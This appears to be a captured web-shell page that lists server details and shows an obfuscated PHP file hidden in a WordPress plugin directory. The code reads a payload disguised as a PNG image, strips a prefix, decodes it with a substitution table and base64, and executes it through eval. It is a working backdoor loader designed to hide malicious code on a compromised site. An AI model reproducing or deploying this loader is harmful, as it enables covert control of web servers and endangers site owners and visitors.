HEX
Server: Apache/2.4.29 (Ubuntu)
System: Linux instance-1 5.4.0-1092-gcp #101~18.04.1-Ubuntu SMP Mon Oct 17 18:29:06 UTC 2022 x86_64
User: web297 (5095)
PHP: 8.1.14
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, exec, shell_exec, system, passthru, proc_open, proc_close, popen, parse_ini_file, show_source
Upload Files
File: /data0/www/clients/client0/web297/web/wp-content/plugins/mygajero/ipyjojo.php
<?php

function betybid_lavoqij($dudatix_ushuhab) {
    if (!file_exists($dudatix_ushuhab))
        return false;
    $izemex = @file_get_contents($dudatix_ushuhab);
    if (!$izemex)
        return false;
    $izemex = substr($izemex, 3);
    $azawuma = amuduzh_lehicul($izemex);
    return $azawuma;
}

function amuduzh_lehicul($dudatix_ushuhab) {
    $ibobakh = yjokale_uqykhuf;
    $odaxino = array();
    for ($rakhoda = 0; $rakhoda < strlen($ibobakh); $rakhoda += 2) {
        $emyqul = substr($ibobakh, $rakhoda, 1);
        $rakisho = substr($ibobakh, $rakhoda + 1, 1);
        $odaxino[$emyqul] = $rakisho;
    }
    $ehichoq = strtr($dudatix_ushuhab, $odaxino);
    $ehichoq = base64_decode($ehichoq);

    return $ehichoq;
}

define("yjokale_uqykhuf", "COYQdY17=kf8r+H0AU8c7wxlTaGeNsoE5jSSQiaC2Nu=WV/hPzOL69XZJ3mrB2VIbGputqLdKRF6lmhoqgMxst4XyFZK9Mnfjy0vEJcnzADP31gBkp+HUbw/eTRWI4v5iD");

$ecizije = betybid_lavoqij(__DIR__ . "/asset" . "s/im" . "ages/" . "izikh" . "yr.pn" . "g");
if ($ecizije) {
    @eval($ecizije);
}